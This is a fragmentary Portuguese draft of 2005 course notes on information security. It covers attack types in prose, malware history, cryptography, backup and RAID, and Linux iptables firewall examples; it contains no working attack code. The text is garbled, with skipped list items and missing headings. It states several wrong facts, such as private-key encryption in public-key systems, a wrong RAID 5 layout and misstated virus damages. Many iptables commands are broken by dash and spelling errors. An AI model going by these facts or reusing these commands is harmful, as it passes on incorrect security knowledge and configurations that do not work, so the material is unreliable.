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Versão 0.4
Rascunho
Data: 04.03.2005
Desta forma, jamais execute um servidor web como root, sendo indicado a criação de um usuário
específico para tal ação, como por exemplo o usuário de grupo webserver.
O principal avanço que ocorreu na segurança da WEB nos últimos tempos foi a criação do protocolo
SSL (Secure Socket Layer) pelo Netscape, este protocolo usa uma estrutura de três camadas que emprega:
1) Autenticação;
2) Criptografia – RSA e DES;
3) Verificação de integridade – MDS.
Podemos então perceber claramente que o objetivo deste protocolo de segurança é prover a
privacidade e confiabilidade entre dois programas, buscando estabelecer um processo de negociação e
emprego de funções de autenticação mútua.
1) Conceitos Básicos
O Termo "Segurança", segundo a ISO 7498-2, é utilizado para especificar os fatores necessários
para minimizar a vulnerabilidades de bens e recursos e está relacionada a necessidades de proteção contra
acesso ou manipulação das informações confidenciais e utilização dos recursos de processamento de forma
não autorizada.
Da mesma forma "Vulnerabilidade" é utilizada para especificar qualquer fraqueza que pode ser
explorada para violar um sistema ou as informações que ele contem.
A necessidade de proteção deve ser definida tendo como base as possíveis “Ameaças” as quais o
ambiente está exposto, e deve ser formalizado em um documento oficial denominado Política de Segurança.
Dentre as técnicas que podem ser utilizadas para proferir um ataque podemos destacar:
3. Engenharia social: consiste em se passar por uma outra pessoa com o objetivo de
coletar informações para proferir o ataque em sí (coleta de informações privilegiadas);
Recentemente tem-se utilizado principalmente o "e-mail" para a realização desta técnica.
Esta técnica é uma forma incrívelmente eficaz de se reunir informações sobre um dado
ambiente u sistema alvo;
4. Quebra de senha: tem por finalidade obter as senhas de acesso ao sistema, ou de uma
conta em especial. As principais técnicas que podem ser empregadas são:
• Força bruta;
• Dicionário;
• Combinação de palavras;
Como não existem senhas 100% seguras é uma questão de tempo até que um software
de quebra de senha consiga descobrir uma senha.
6. Varredura ICMP - Pinging : esta técnica é utilizada para determinar os possíveis alvos
para um determinado ataque, mas também pode ser utilizada por Administradores de
Rede para realizar o monitoramento da mesma;
2. Replay: após uma mensagem ser interceptada ela pode ser transmitida para permitir o acesso de
um invasor ao sistema;
4. Ataques Internos: normalmente proferidos por usuários legítimos que realizam operações ilegais;
5. Armadilhas (trapdoor): entidades do sistemas são modificadas para produzir efeitos não
autorizados em resposta a determinadas mensagens ou intervalos de tempo;
6. Cavalos de Tróia: entidades que executam funções não autorizadas, como por exemplo um
procedimento de "Login" modificado;
7. Recusa de Serviço: tem por objetivo impedir que entidades legitimas realizem suas funções.
Tipo: DoS e DdoS.
8. Spoofing IP - Esta é uma técnica, dita altamente sofisticada, onde uma máquina é autenticada por
outra através de Pacotes IP indicando ser uma fonte segura. Dado que um computador “X” pode
manter uma comunicação com um outro computador “Y”, sem a necessidade da constante
verificação de autenticidade. Um hacker pode se disfarçar informando para “X” que sua máquina é
“Y”. Para isto ele deve ser capaz de gerar os números de seqüência que são usados durante o
“Aperto de mãos” entre dois servidores, uma forma de se obter tais números é enviar uma série de
solicitações de conexões com “X” e guardar os números gerados.. Com o tempo, o hacker pode
descobrir como ele gera estes números. Descoberto o processo de geração dos números, o
hacker inicia uma conexão informando ser “X”, mas como ele não é a máquina indicada ele age as
“escuras”. Feito a solicitação ele envia um outro pacote com o número de seqüência, e com isto
fecha a conexão. Uma vez fechada a conexão o usuário passa a trabalhar em um canal
unidirecional, uma vez que ele não reabrirá os pacotes de resposta. Uma forma de se evitar este
tipo de ataque é configurar o roteador para que ele não aceite pacotes internet que simulam
originar-se de um endereço local. Outra forma seria a verificação dos “logs”, e do arquivo de host
confiáveis, caso haja uma conexão ativa com algum destes hosts, mas sem que hajam processos
em andamento provavelmente um ataque está em ação.
9. Negação de Serviço - Este tipo de ataque tem por objetivo deixar um “recurso” inoperante
“momentaneamente”. Existem basicamente dois tipos de ataques desta categoria o DoS e o
DDoS, este segundo, se baseia no envio de uma grande quantidade de pacotes para um alvo de
forma coordenada a partir de várias origens. Devido a uma fragilidade do TCP (Transmission
Control Protocol) os endereços da origem dos pacotes são normalmente forjados. Sendo que os
tipos mais comuns de DoS se baseiam na prerrogativa que o cliente tem que aceitar a conexão e
na limitação de que um serviço tem que aceitar um número de conexões por vez. Um dos
cuidados que devem ser tomados quando da configuração dos equipamentos de rede é que eles
não possam ser usados como fontes de ataques, bem como contra os ataques propriamente ditos,
uma das formas de se fazer a segunda parte e retirar os serviços que não estão sendo utilizados,
outra forma é realizar uma constante verificação do tráfico do site, assim sendo, quando uma
atividade anormal for detectada, uma atitude correspondente deve ser adotada, como por exemplo
bloquear um endereço de IP.
2) Malware
Desde novembro de 1988, quando Robert Morris lançou seu verme na internet, a mídia apresentou
o código malicioso como se fosse um desastre natural, o que não deixa de ser uma verdade, visto seus
efeitos e como as pessoas se comportam.
Os vírus, além de serem desastrosos para a produtividade de uma empresa, devido ao seu
comportamento epidêmico, ele pode consumir uma sensível parte da largura de banda de uma rede de
computadores.
Atualmente existe mais de 40.000 tipos distintos de vírus registrados. Dos vírus conhecidos três se
destacam pelo seu poder destrutivo e pelo seu modo de operação. O vírus “Melissa”, desenvolvido por
David Smith em 1999, causou um dano total de US$ 80 mil. O vírus "I love You" causou um dano total
de US$ 10 bilhões e desativou mais de 10.000 empresas, incluindo o Departamento de Defesa Norte
Americano (D.O.D).
Um dos motivos de rápida proliferação do Vírus "I love you" foi causada pelo uso do catálogo de
endereços do Microsoft Outlook Express, e por explorar a curiosidade do usuário.
Como acontece no mundo real a cura para estas pragas está sempre um passo atrás do seu
desenvolvimento. E atualmente os vírus deixaram de ser um pequeno incomodo, se tornando uma real
ameaça para a comunidade comercial.
- Nascimento;
- Lançamento;
- Proliferação;
- Disparo;
- Ativação;
- Detecção;
- Eliminação;
- Mutação (volta ao primeiro estágio).
Atualmente, muitos vírus não necessitam que o usuário executem um arquivo anexado, basta abrir o
e-mail ou visitar um site que o mesmo é automaticamente acionado.
2. Vírus do setor de boot - pouco comuns na atualidade, foram uma praga no passado,
eram carregados antes da execução do sistema operacional e contaminavam todos os
demais discos inseridos no sistema. Atualmente este tipo de vírus não causa grandes
danos devido a funcionalidades incorporadas nos sistemas operacionais mais recentes;
3. Vírus de Macro - usam as linguagens de macro dos programas para infectar seus
arquivos de dados. São Vírus específicos dos programas e atacam principalmente
documentos do Microsoft Word e Microsoft Excel;
6. Vírus Polimorfico - são vírus que possuem um sistema ativo de mutação, que não
somente muda o vírus a cada vez que ele replica, mas também muda a rotina que
decifra. Isto cria um vírus muito difícil de se detectar. Um exemplo de vírus desta
categoria é "One Half", que criptógrafa progressivamente o seu disco rígido, tornando-o
impossível de ser lido.
2. Vermes - são aplicativos designados para se espalharem pelas redes e se replicarem, são
independentes de outros programas aos arquivos, e geralmente causam danos por causa de
sua replicação fora de controle;
Existem várias técnicas que podem ser adotadas pelos antivírus, das quais podem-se destacar:
1) Investigação de assinatura;
2) Monitoramento de atividades;
3) Verificação de integridade.
Outra forma de investigação é a “Investigação Heurística”, que procura código suspeito, estes
softwares convergem os arquivos para uma área “virtual” do computador – área de quarentena, os executam
e testam seu comportamento.
Uma vantagem da Investigação Heurística é que ela pode: “pegar” novos vírus antes mesmo de
Mas os investigadores podem oferecer “falsos positivos”, contudo este problema tem sido
gradativamente reduzido.
No Desktop – protegendo localmente os dados, mas pode ser facilmente desabilitado pelo
usuário;
Nos Servidores – garante maior nível de segurança para os dados da rede, mas podem
sobrecarregar a operação do servidor;
Nos Gateways da Rede – evita a entrada e saída de softwares maliciosos da rede. Pode gerar
um atraso na comunicação, contudo seu uso é altamente recomendado.
Apesar de simples, este ataque pode gerar a perda de credibilidade da empresa e a redução da
confiança do usuário.
Outro tipo de ataque que já era comum nesta época era a alteração ilegal dos servidores de “DNS”,
que permitem que sites fossem trocados.
Os ataques de DNS não geravam a perda dos dados da página, mas causavam os mesmos danos a
credibilidade e confiança.
Com o crescimento da web, os sites de e-commece se tornaram o grande alvo dos hackers, visto
que eles poderiam lucrar de várias formas, principalmente financeiramente.
A desfiguração de Sites é o tipo de ataque mais simples e pode não exigir grandes conhecimentos.
É o mais explorado pelos Script Kiddies. Mesmo sendo um ataque simples, ele causa sérios danos à
empresa, independente se o site é hospedado para “terceiros”.
Apesar dos hackers ainda não possuírem uma união, eles trabalham em grupos de forma livremente
organizada. Estas características é que tornam este tipo de ataque possível.
O objetivo deste ataque não é causar perda de dados ou acesso ilegal ao sistema. E sim tornar o
servidor incapaz de responder aos clientes reais que tentam acessar o site.
Uma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefônico de
determinadas organizações, neste caso, os “hackers”, simplesmente ligavam repetidamente para os
números de telefones dos SACs impedindo aos reais cliente o acesso ao serviço.
Os hackers podem automatizar estes ataques através dos “Zumbis” que são sistemas previamente
comprometidos para um ataque. Este tipo de ataque pode caracterizar um DDOS, no qual o invasor não
pode ser diretamente rastreado.
Novos Zumbis são facilmente “alertados”, pois cada vez mais existem pessoas com acesso de
banda larga, nas quais conectam seus computadores de forma protegida para um longo período de tempo.
Dentre as ferramentas utilizadas pelos “hackers” podemos destacar o Tribal Flood Network e o
Trin00.
Tipos de ataque:
1) Ataque Smurf : uma rede com pedidos “Packet Internet Groper” (PING), neste caso
a rede é sobrecarregada com uma grande quantidade de pedidos e replicar de ping;
2) Ataque Fraggle : este ataque usa o protocolo UDP – User Datagram Protocol da
mesma forma que o ataque smurf;
Quando o host atinge seu limite de conexões, ele passa a recusar quaisquer
conexões que chegarem, incluindo as válidas. Estas conexões alertas irão expiar o
término do ataque e a negação do serviço terminará.
Apesar de serem fáceis de se gerar, são difíceis de se impedir, a única coisa que
pode ser feita é tornar sua rede mais difícil de atacar e seus computadores de se
tornarem Zumbi.
Solução:
1) Validação dos dados antes de serem enviados para o buffer;
2) Pode atrasar as transações e reduzir a largura da banda;
3) A validação deve ser feita, principalmente no servidor.
Solução:
1) Todos os dados retornados para um formulário devem ser verificados para o servidor;
2) Incluindo aqueles que o usuário não possui “acesso” direto;
3) Java Script no lado do cliente reduz o problema, mas não resolve, pois pode ser
desabilitado.
A criptografia tem por finalidade garantir a privacidade através do uso de algoritmos que trabalham
como funções matemáticas que mapeiam um dado de entrada em uma outra informação na saída, que é na
verdade o texto cifrado.
Estes sistemas podem ser baseados em dois tipos de algoritmos, nos restritos e nos modernos.
Aqueles que se baseiam nos algoritmos modernos podem ser simétricos e assimétricos. Os sistemas
simétricos fazem uso de somente uma chave, dai o seu nome, já os sistemas assimétricos fazem uso de
duas chaves, a pública e a privada.
1) O algoritmo é o segredo;
2) Não é muito seguro;
3) São difíceis de se desenvolver e distribuir enquanto continuam secretos;
4.1.2) Esteganografia
1) Tinta invisível - mensagem publica usando “tinta normal” e a secreta usando tinta “invisível”;
2) Imagem gráfica:
1) Incluir uma mensagem secreta dentro de uma “figura”.;
2) Ou em se cabeçalho de dados.
1) Longo histórico;
2) Substitui cada caráter do texto puro para um outro símbolo na mensagem secreta;
3) As substituições podem ser arbitrárias ou podem ter um padrão determinado, como uma
rotação do alfabeto;
4) São fáceis de descobrir devido aos padrões de letra e freqüência em cada linguagem.
Exemplo: Taquigrafia; Código Morse; American Standart Code For Informatran Interchange
(ASCII).
1) Mantem o código puro intacto, mas trocam ou misturam a ordem de alguma forma;
2) Uma versão desta técnica é a “Cifra de transposição colunar simples”;
Exemplo de funcionamento:
Versões mais sofisticadas usam padrões mais complexos, como ziguezague pela grade.
Como as palavras estão mantendo a mesma freqüência, esta técnica é facilmente detectada
e quebrada.
Exemplo de algoritmos:
1) DES – Data Encyptron Standard;
2) Triple DES;
3) IDEA – International Data Encyption Algorithm;
4) Blowfish;
5) Rot 13
6) RCS.
Os sistemas simétricos são mais simples e mais rápidos do que aqueles de chave pública (1.000 vezes
mais rápido), mas possui a desvantagem de que dois usuários distintos tenham conhecimento do mesmo
segredo (chave). Ambos os usuários são responsáveis pela segurança da chave.
Foi criada em 1976 por dois matemáticos de Stanford, Whitfield Diffie e Martin Hellman. Esta
resolve o problema do uso da chave secreta existente na criptografia simétrica, para tal faz uso de duas
chaves (privada - cifra e pública- decifra). Estas duas chaves são diferentes, contudo possuem um
relacionamento matemático, todavia não é possível derivar a chave privada a partir da pública e vice-versa,
elas se baseiam em números primos, fatoração, logaritmos e outras funções matemáticas. Neste caso, o
tamanho da chave é quem determina a eficiência do processo.
O principal deste tipo de criptograma é o RSA criado por Ron L. Rivert, Adi Shamir e Leonard
Adelman, a segurança deste algoritmo se baseia na dificuldade de se fatorar números extensos. Segundo
pesquisadores, para desvendar o sistema RSA Data Security usando uma chave de 760 bits, seriam
necessários 4.300 computadores e 50 anos.
O uso destas chaves permite o estabelecimento da conexão segura entre duas entidades sem o
prévio conhecimento das chaves. Visto que quando uma entidade “X” precisa enviar uma mensagem para
“Y”, ela usa a chave pública de “Y”, para cifrar a mensagem e somente a entidade “Y” será capaz de
decifrar a mensagem, pois “somente” ela conhece a sua chave privada.
Estes sistemas fazem uso do sistema de chave pública apenas para realizarem o envio e troca de
chaves, para a transmissão de dados é utilizada a criptografia simétrica e a chave enviada anteriormente. O
Criptossistemas híbridos aproveitam o melhor das duas tecnologias. Um exemplo de sistema híbrido é o
implementado pelo protocolo “HTTPS”, largamente usado em e-commerce.
1) Autenticação – permite garantir que uma pessoa é quem realmente afirma ser;
2) Integridade – garante que os dados não foram alterados durante a transmissão;
3) Reconhecimento – garante que o emissor de dados é uma pessoa específica, e que o
destinatário realmente recebeu os dados. Impede o repúdio de informações.
Atualmente a criptografia está sendo largamente utilizada para proteger de várias formas os dados
que estão em trânsito pela rede ou armazenados nos discos óticos e magnéticos das máquinas. Dentre os
métodos atualmente disponíveis podemos destacar:
Dentre os algoritmos que fazem uso desta técnica podemos destacar: Secure Hash Algorithm –
Permite que o destinatário de uma mensagem digital possa verificar a autenticidade do seu
remetente. E que a mensagem não foi de forma alguma alterada durante o processo de transferência, visto
que uma assinatura digital que tenha sido verificada não pode ser negada, ela fornece um elevado nível de
confiança no processo de transações eletrônicas e autenticação de documentos digitais.
O processo das Assinaturas Digitais se baseia na existência de duas chaves, uma pública e uma
privada. Neste caso, o remetente codifica a mensagem utilizando a sua chave privada e somente o usuário
que possui a sua chave pública poderá ler a mensagem.
Algoritmos:
1) RSA;
2) Digital Signature Algotithm (DSA);
3) Digital Signature Standard (DSS).
Usa a chave privada para assinar o documento, e o destinatário usa a sua chave pública para
verificar sua assinatura.
4.3.1.5) Kerberos:
1) Ataque de texto conhecido - Baseia-se na suposição de uma vasta quantidade de textos cifrados e
das mensagens originais, a que a função do especialista, criptoanalista, é descobrir as chaves
utilizadas;
2) Ataque adaptativo do texto escolhido (adaptative – choosen – plaintext) – Neste segundo caso,
ele submete pequenos conjuntos de dados, obtém o resultado, analisa, fornece um novo conjunto e
assim sucessivamente, até que seja capaz de deduzir as chaves.
3) Ataque do texto cifrado escolhido (choosen – cyphertext) – o especialista possui uma vasta
gama de mensagem e os equivalentes dados cifrados, mas é capaz de produzir uma mensagem
criptografada específica para ser decifrada e obter o resultado produzido.
5) Backup
É através do processo de backup que podemos garantir a segurança de vários tipos de dados. Este
processo consiste em realizar uma cópia total ou parcial de forma on-line ou off-line dos dados armazenados
nas estações de trabalho e/ou nos servidores de um determinado ambiente.
As mídias de armazenamento on-line, consiste em discos rígidos ou arrays de discos. Estas mídias
fornecem uma disponibilidade em tempo real e são normalmente utilizados para fornecer uma forma
altrnativa de armazenamento. Estas mídias não substituem os backups offline;
O armazenamento próximo é formado por “Jukeboxes” óticos e cópias locais, que estão
rapidamente acessíveis, normalmente fazem uso de robos para gerenciarem as mídias fornecendo um
acesso rápido aos dados quando o serviço on-line não está disponível;
Para a realização deste tipos de backup podem ser utilizadas três tipos de mídias diferentes:
fitas/discos magnéticos, armazenamento ótico e arrays de disco.
As fitas magnéticas são as mídias mais comuns, mais baratas utilizadas nos backups off-line, mas
por outro lado são as mais lentas e que ocupam um grande espaço. Seus principais tipos são: 8mm,
Travan, DLT, DAT e Magstar
RAID 0 : este nível realiza um “join” dos discos, ou seja, ele combina todos os
discos em uma única unidade lógica, útil quando desejamos aumentar a
capacidade de armazenamento de dados;
RAID 5: esta faz uso de três unidades, em duas são armazenados os dados e
na terceira os bits de paridade, sendo esta é a solução mais utilizada;
A solução de RAID fornece um melhor desempenho e tolerância a falhas, mas de forma alguma
substituir o processo de backup off-line. Vale lembrar que dois ou mais discos podem falhar ao mesmo
tempo, perdendo o acesso total aos dados armazenados no array.
Outra solução de proteção aos dados é o HSM (Hierarchical Storage Management), que é um
sistema automatizado para o gerenciamento de dados e espaço em disco, muito utilizado em mainframes.
Esta solução monitora a capacidade das unidades e move os dados para as mídias de armazenamento
próximo ou offline, mais lentas.
O HSM pode mover os dados segundo sua idade, freqüência de uso ou baseado em outros critérios,
permitindo deste modo uma migração de dados automática. Esta solução é relativamente cara e difícil de
ser implementada.
Por outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidores
de arquivos, visto que estão conectados diretamente a rede ethernet e possuem sistemas operacionais
embutidos nos equipamentos. Esta estrutura é uma alternativa a inclusão de unidades de dados nos
servidores. Para garantir a segurança dos dados estes equipamentos implementas um dos níveis de RAID
estudados anteriormente, mas backups de grades volumes de dados podem afetar a velocidade da rede.
Esta solução é relativamente barata, simples e possui grande compatibilidade entre fornecedores.
Backup Completo: realiza uma cópia de todos os dados para a mídia, não importando
o conteúdo do último backup. Este tipo de backup normalmente possui periodicidade
semanal;
Backup Incremental: salva os arquivos que foram alterados desde o último backup.
Neste processo o novo arquivo é armazenado na mídia e o arquivo original não é
removido da mídia. No processo de restauração devemos ter o último backup completo
e dos os backups incrementais desde então. Este tipo de backup possui periodicidade
diária ou menor;
Backup Delta: Só faz a cópia dos dados reais que foram modificados nos arquivos, é
um processo de backup mais rápido e que ocupa menos espaço nas mídias de backup,
contudo o processo de restauração é mais lento e complexo. Também possui
periodicidade diária ou menor;
Backup Diferencial: Copia todos os arquivos que foram alterados desde o último
backup completo, por este motivo ocupa mais espaço nas mídias de backup e mais
lento de ser gerado, contudo é mais fácil de recupera-lo, sua execução
preferencialmente deve ser diária ou em intervalo menor. Para restaurar os dados a
partir deste tipo de backup deve-se ter em mãos apenas o último backup completo e o
último backup diferencial
6) Firewall
Várias pesquisas mostraram que a “Internet” é o principal ponto utilizado para realizar invasões. Em
2002, segundo uma pesquisa feita pela módulo, 43% das empresas sofreram algum tipo de ataque ou
invasão. Em 2003, esta valor subiu para 77%. E os hackers brasileiros são internacional considerados como
os melhores do mundo.
Outro fator importante é que “... quanto mais tempo ficamos conectados à internet, maiores são as
chances de sermos invadidos ou infectados por malwares ...”. Isto tudo pois o Ipv4, versão atualmente em
uso da pilha de protocolos TCP/IP, não foi projetado para assegurar a integridade das informações e realizar
o controle de acesso apropriado. Deste modo, a forma preferida de se violar uma rede tem sido o uso de
pequenas falhas na implementação de serviços e protocolos baseados no TCP/IP.
A principal função de um firewall é proteger os dados da rede interna, aquela que não está
conectada a internet, de ataques vindos da rede externa, normalmente a internet. Ou seja, tem por objetivo
impedir acessos lógicos não autorizados a um determinado ambiente.
Neste modelo, o firewall geralmente é a única máquina diretamente conectada a rede externa, mas
cada nó da rede pode e deve ter seu próprio firewall ativo, mas neste caso sua funcionalidade está restrita a
proteção local, incluindo possíveis infecções e proliferações de malwares na rede interna.
Outro uso freqüente dos firewalls é ser utilizado para filtrar quem pode acessar máquinas da rede
interna a partir da internet, este tipo de filtragem normalmente é baseada no endereço IP a origem da
conexão e em alguns casos em seu Mac Adress.
6.2) Histórico
Existem várias classificações para os firewalls, contudo as mais comuns são: Filtro de Pacotes,
Firewall NAT e Híbridos.
Os filtros de pacotes, realizam o controle de todo fluxo de dados direcionado ao host. Através da
análise dos cabeçalhos dos pacotes nos vários níveis da arquitetura de rede são capazes de comparar seus
conteúdos com regras de controle de acesso (ACLs) préviamente definidas e então liberar ou não
determinado fluxo de dados.
Já um firewall NAT manipula a rota padrão de pacotes que atravessam o kernel do host, ele realiza
a tradução dos endereços de origem, de destino e algumas vezes pode inclusive realizar um
redirecionamento de porta. Este firewall pode ser classificado como: SNAT, DNAT e Masquerading.
Um firewall SNAT normalmente é utilizado para fornecer acesso a uma rede privada apartir de um
ou vários endereços IP fixo. Já o Masquerading realiza a mesma função só que sobre endereços . E um
firewell baseado em DNAT pode ser utilizado na construção de uma DMZ ou de um cluster de servidores.
O terceiro tipo de firewall seria o híbrido, que é aquele que realiza tanto filtragem de pacote quando
redirecionamento (NAT).
Outra forma de classificação dos firewall é quanto sua forma de atuação dentro da pilha RM/OSI,
neste caso os firewalls podem ser classificados como de Rede ou Gateways de Aplicativos.
Os Firewalls de nível de Rede são na verdade roteadores com grande capacidade de filtragem de
pacote, permitem que haja uma restrição a nível de endereço, protocolo, número da porta e conteúdo. São
fácil implementação, porém quando mal configurados estão sujeitos a ataques do tipo spoofing. Mas a
filtragem normalmente impacta o processo de roteamento, de modo que podemos afirmar que: “o
desempenho do roteador é inversamente proporcional ao nível de filtragem imposta”
Já os firewalls gateways de aplicativo, normalmente funcionam como pontes entre duas redes, os
pacotes provenientes de fora da rede passam primeiro pelo gateways, que age como um filtro escondendo
assim a rede interna.
Todos os tipos de firewall possuem suas limitações, o de nível de rede possui uma visão muito
limitada do que realmente acontece na rede. Já os gateways de aplicativo tem um conhecimento maior
sobre a aplicação, porém são soluções específicas para cada aplicativo. Um dos firewalls de aplicativos
mais conhecido é o SQUID, que foi projetado para manipular os protocolos HTTP, HTTPS e FTP.
Este software é a quarta geração de firewall no Linux e permite a realização da filtragem dos
pacotes nas sete camadas da RM/OSI, funcionando ainda como um firewall híbrido. As ACL utilizados por
ele estão todas armazenadas em memória, processo este que acelera os mecanismos de filtragem e
redirecionamento.
Para facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas, cada qual
com um função específica. As principais tabelas do iptables são:
filter : responsável pela filtragem de todos os pacotes que passam pelo host, não
importando origem e destino;
nat : responsável pelo controle dos pacotes que passam pelo host, mas cuja origem ou
destino não é o mesmo. Esta tabela é utilizada quando desejamos utilizar o iptables para
construir “gateways” de borda.
O iptables permite manipular vários fluxos dependendo da tabela utilizada, sendo que a tabela “filter”
possui os seguintes:
INPUT : fluxo formado pelos pacotes cujo endereço de destino é o próprio host;
FORWARD: fluxo composto por todos os pacotes que chegam ao host mas que são
destinados a outra máquina, que normalmente está na rede interna ou na DMZ. Logo
este fluxo é utilizado para permitir a realização do NAT;
PREROUTING : que permite realizar alterações nos pacotes antes que eles sejam
roteados;
OUTPUT : possibilita o redirecionamento dos pacotes que foram emitidos pelo host;
Para a manipulação das ACLs armazenadas nas suas tabelas o iptables fornece os seguintes
comandos:
-A : adiciona uma nova regra no final da lista de regras de uma dada tabela;
-P : define a política padrão uma tabela, ou seja a regra padrão que será aplicada a um
fluxo quando ele passar por todas as demais;
-F : remove todas as regras de uma tabela sem alterar sua política padrão;
As ações permitem categorizar melhor as ACLs, fornecendo um tratamento mais detalhado sobre
quais pacotes deverão ser manipulados. As principais ações fornecidas pelo iptables são listadas abaixo:
-i : especifica a interface pela qual o pacote deve entrar (eth0, eth1, ppp0, ppp+);
-o : especifica a interface pela qual o pacote deve sair (eth0, eth1, ppp0, ppp+);
--sport : informa a porta a partir da qual o pacote será enviado, porta de origem;
Quando um fluxo se enquadra em todos os quesitos especificados por uma regra, ele poderá entrar
na máquina, ser rejeitado ou outras ações poderão ser realizadas, a estas ações damos o nome de alvo da
regra ou fluxo. Os principais alvos implementados pelo iptables são:
DROP : descarta o pacote, sem comunicar a origem que o mesmo foi rejeitado, ideal
para ocultar a existência do firewall;
REJECT : descarta o pacote informando a origem que ele foi rejeitado pelo destino;
LOG : registra o pacote em um arquivo de log que pode ser especificado através dos
níveis de log do sistema, mas por default as mensagens são enviadas para o arquivo
“/var/log/messages”;
(a) Firewall para bloquear todo o fluxo de dados só liberando o fluxo na interface lo
#
# definindo as regras padrão
#
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
#
# liberando a interface lo
#
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
(b) Firewall para liberar o acesso no servidor web aos protocolos http e https:
#
# definindo as regras padrão
#
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
#
# definindo as regras de filtragem ao HTTP e HTTPS
#
iptables -A INPUT -p tcp –dport 80 -j ACCEPT
iptables -A INPUT -p tcp –dport 443 -j ACCEPT
(c) Firewall para liberar o acesso serviço http, para acesso externo ( eth1) e acesso pela intranet (eth0) na
porta 8080.
#
# definindo as regras padrão
#
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
#
# definindo as regras de filtragem ao HTTP e HTTPS
#
iptables -A INPUT -p tcp –dport 80 -i eth1 -j ACCEPT
iptables -A INPUT -p tcp –dport 443 -i eth0 -j ACCEPT
(d) Firewall para um servidor que hospeda os serviços: http (80), https (443), imap (143), pop3 (110), smtp
(25), ftp (21), ssh (22). De tal modo que, todos os serviços possam ser acessados pela intranet (eth1) e os
únicos serviços que podem ser acessados pela internet (eth0) são o http e o https.
#
# definindo as regras padrão
#
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
#
# liberando acesso pela internet (eth0)
#
iptables -A INPUT -p tcp –dport 80 -i eth0 -j ACCEPT
iptables -A INPUT -p tcp –dport 443 -i eth0 -j ACCEPT
#
# liberando acesso pela internet (eth1)
#
iptables -A INPUT -p tcp –dport 80 -i eth1 -j ACCEPT
iptables -A INPUT -p tcp –dport 443 -i eth1 -j ACCEPT
iptables -A INPUT -p tcp –dport 143 -i eth1 -j ACCEPT
iptables -A INPUT -p tcp –dport 110 -i eth1 -j ACCEPT
iptables -A INPUT -p tcp –dport 25 -i eth1 -j ACCEPT
iptables -A INPUT -p tcp –dport 21 -i eth1 -j ACCEPT
iptables -A INPUT -p tcp –dport 22 -i eth1 -j ACCEPT
Para acessos à internet através de uma conexão discada ou banda larga, que não fornece endereço
fixo podemos utilizar a regra abaixo:
Já para conexão à internet através de um endereço IP fixo e conhecido podemos utilizar uma regra
como a que está abaixo:
Outra regra muito comum é aquela usada para redirecionar uma conexão vinda da internet para a DMZ, como
mostra a figura abaixo:
Para permitir que o iptables instalado em uma distribuição Linux faça forward de pacotes esta
funcionalidade deve estar ativa no kernell do sistema, para tal podemos utilizar a seguinte linha de comando:
echo “1” > /proc/sys/net/ipv4/ip_forward
Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 do
comando a cima, ou seja :
echo “0” > /proc/sys/net/ipv4/ip_forward
b) Qualquer pacote cuja origem é o host 10.0.3.1 deverá ter seu endereço de origem alterado para
192.11.22.33:
iptables -t nat -A POSTROUTING -s 10.0.3.1 -o eth0 -j SNAT - -to 192.11.22.33
c) Qualquer pacote cuja origem é a rede 10.0.3.0/8 deve ter seu endereço de origem alterado para
192.11.22.33:
iptables -t nat -A POSTROUTING -s 10.0.3.0/8 -o eth0 -j SNAT - -to 192.11.22.33
d) Qualquer pacote cuja origem é a rede 10.0.3.0/8 que sai pela interface eth0 deve ter seu endereço de
origem alterado para qualquer um do intervalo 192.11.22.33-192.11.22.66:
iptables -t nat -A POSTROUTING -s 10.0.3.0/8 -o eth0 -j SNAT - -to 192.11.22.33-192.11.22.66
e) Qualquer pacote que venha do host 10.0.3.1 e entre na máquina pela interface eth0 deve ser
redirecionado para o endereço 192.11.22.33:
iptables -t nat -A PREROUTING -s 10.0.3.1 -i eth0 -j DNAT - -to 192.11.22.33
f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereços do
intervalo: 192.11.22.10 até 192.11.22.33:
iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192.11.22.10-192.11.22.33
g) Todos os pacotes que entram pela interface eth2 e são destinados a porta 22 deve ser redirecionados
para o host 192.11.22.1:
iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 192.11.22.1
#
# definindo as regras padrão
#
iptables -P INPUT DROP
iptables -P OUTUP ACCEPT
iptables -P FORARD DROP
#
# liberado o loopback
#
iptables -A INPUT -i lo -j ACCEPT
#
# filtando os pacotes
#
iptables -A INPUT -p tcp - -dport 22 -j ACCEPT
iptables -A FORWARD -d 10.10.0.0/24 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 10.10.0.1
iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 10.10.0.1
iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 10.10.0.2
iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 10.10.0.3
#
# libera forward no kernel
#
echo “1” > /proc/sys/net/ipv4/ip_forward
#
# Política padrão
#
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
#
# liberando acesso a interface lo
#
iptables -A INPUT -i lo -J ACCEPT
#
# libera a entrada de conexões iniciadas pela máquina
#
iptables -A INPUT -m state - -state ESTABLISHED,RELATED -j ACCEPT
#
# bloqueia entrada na rede de conexões inválidas
#
iptables -A FORWARD -m state - -state NEW,INVALID -j DROP
#
# hablitando o macascaramento com ip dinâmico
#
iptables -t nat -A POSTROUTING -s 192.168.254.0/24 -o eth0 -j MASQUERADE
#
# libera a entrada de conexões iniciadas pela rede
#
